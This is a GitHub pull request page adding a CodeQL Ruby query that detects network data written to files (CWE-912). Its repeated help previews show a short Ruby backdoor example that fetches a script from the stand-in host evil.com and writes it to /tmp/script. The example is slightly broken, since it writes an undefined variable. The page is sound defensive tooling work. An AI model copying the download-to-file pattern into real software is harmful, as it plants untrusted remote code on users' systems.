Skip to content

Ruby: Add rb/http-to-file-access query #8224

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 6 commits into from
Mar 22, 2022
Merged

Ruby: Add rb/http-to-file-access query #8224

merged 6 commits into from
Mar 22, 2022

Conversation

hmac
Copy link
Contributor

@hmac hmac commented Feb 24, 2022

This is a direct port of the JS version. I've ported the concept RequestInputAccess from JS, which we didn't already have an equivalent for. I've also directly shared HttpToFileAccessQuery and HttpToFileAccessCustomizations between Ruby and JS. Language-specific imports and some classes that extend differently-named concepts have been moved to HttpToFileAccessSpecific.

@github-actions
Copy link
Contributor

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

@hmac hmac force-pushed the hmac/http-to-file-access branch from 195e412 to b26878b Compare February 24, 2022 04:08
@github-actions
Copy link
Contributor

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

1 similar comment
@github-actions
Copy link
Contributor

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

@hmac hmac force-pushed the hmac/http-to-file-access branch from 6d93670 to 2fb801c Compare February 24, 2022 23:21
@github-actions
Copy link
Contributor

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

@github-actions github-actions bot added the JS label Mar 1, 2022
@github-actions
Copy link
Contributor

github-actions bot commented Mar 1, 2022

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

@hmac hmac force-pushed the hmac/http-to-file-access branch from f900500 to 5f1ebd5 Compare March 2, 2022 03:50
@github-actions
Copy link
Contributor

github-actions bot commented Mar 2, 2022

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

@hmac hmac force-pushed the hmac/http-to-file-access branch from 5f1ebd5 to 3af2c21 Compare March 2, 2022 04:42
@github-actions
Copy link
Contributor

github-actions bot commented Mar 2, 2022

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

@hmac hmac removed the JS label Mar 3, 2022
@hmac hmac marked this pull request as ready for review March 3, 2022 03:25
@hmac hmac requested a review from a team as a code owner March 3, 2022 03:25
@hmac hmac requested a review from a team as a code owner March 7, 2022 23:24
@github-actions github-actions bot added the JS label Mar 7, 2022
@github-actions
Copy link
Contributor

github-actions bot commented Mar 7, 2022

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

@hmac hmac force-pushed the hmac/http-to-file-access branch 2 times, most recently from 8571717 to 41a42fb Compare March 7, 2022 23:26
@github-actions
Copy link
Contributor

github-actions bot commented Mar 7, 2022

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

1 similar comment
@github-actions
Copy link
Contributor

github-actions bot commented Mar 7, 2022

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

erik-krogh
erik-krogh previously approved these changes Mar 8, 2022
Copy link
Contributor

@erik-krogh erik-krogh left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

JS 👍

alexrford
alexrford previously approved these changes Mar 15, 2022
Copy link
Contributor

@alexrford alexrford left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM aside from small merge conflicts - sorry for taking so long to review this.

/**
* Gets a string that describes the type of this input.
*
* This is typically the name of the method that gives rise to this input.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
* This is typically the name of the method that gives rise to this input.
* This is typically the name of the method that gives rise to this input.

/**
* Gets a string that describes the type of this input.
*
* This is typically the name of the method that gives rise to this input.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
* This is typically the name of the method that gives rise to this input.
* This is typically the name of the method that gives rise to this input.

@hmac hmac dismissed stale reviews from alexrford and erik-krogh via e148de6 March 20, 2022 22:49
@hmac hmac force-pushed the hmac/http-to-file-access branch from 346abf9 to e148de6 Compare March 20, 2022 22:49
@hmac hmac requested a review from a team as a code owner March 20, 2022 22:49
@hmac hmac force-pushed the hmac/http-to-file-access branch 2 times, most recently from e521f88 to 77bc75f Compare March 20, 2022 22:58
@github-actions
Copy link
Contributor

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

@hmac hmac removed request for a team March 20, 2022 23:12
@hmac
Copy link
Contributor Author

hmac commented Mar 20, 2022

Sorry if you got pinged by this - I briefly pulled in some unrelated commits and the bots had a field day.

@hmac hmac force-pushed the hmac/http-to-file-access branch from 77bc75f to b26ddda Compare March 21, 2022 03:13
@github-actions
Copy link
Contributor

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

erik-krogh
erik-krogh previously approved these changes Mar 21, 2022
Copy link
Contributor

@erik-krogh erik-krogh left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

JS 👍

alexrford
alexrford previously approved these changes Mar 21, 2022
Copy link
Contributor

@alexrford alexrford left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

hmac added 6 commits March 22, 2022 11:09
This sits in between RemoteFlowSource and specific classes like
ParamsSource from ActionController. It represents any user-controller
input from an incoming HTTP request.

This more closely aligns our concepts with the JS library, and allows us
to specifically target sources from HTTP requests in the
HttpToFileAccess query.
Only consider sources from HTTP requests, rather than any remote flow
source.
There's so little in this query that it may not be worth sharing, but
it's an interesting exercise in figuring out how we do it nicely.
@hmac hmac dismissed stale reviews from alexrford and erik-krogh via b1ae548 March 21, 2022 22:10
@hmac hmac force-pushed the hmac/http-to-file-access branch from b26ddda to b1ae548 Compare March 21, 2022 22:10
@github-actions
Copy link
Contributor

QHelp previews:

ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp

Network data written to file

Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.

Recommendation

Examine the highlighted code closely to ensure that it is behaving as intended.

Example

The following example shows backdoor code that downloads data from the URL https://evil.com/script, and stores it in the local file /tmp/script.

require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)

Other parts of the program might then assume that since /tmp/script is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.

References

@hmac hmac merged commit 3e8bc8b into main Mar 22, 2022
@hmac hmac deleted the hmac/http-to-file-access branch March 22, 2022 00:46
@hmac
Copy link
Contributor Author

hmac commented Mar 22, 2022

@alexrford thanks the patient re-reviews! The dismiss-reviews-on-rebase behaviour is such a pain 😒

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants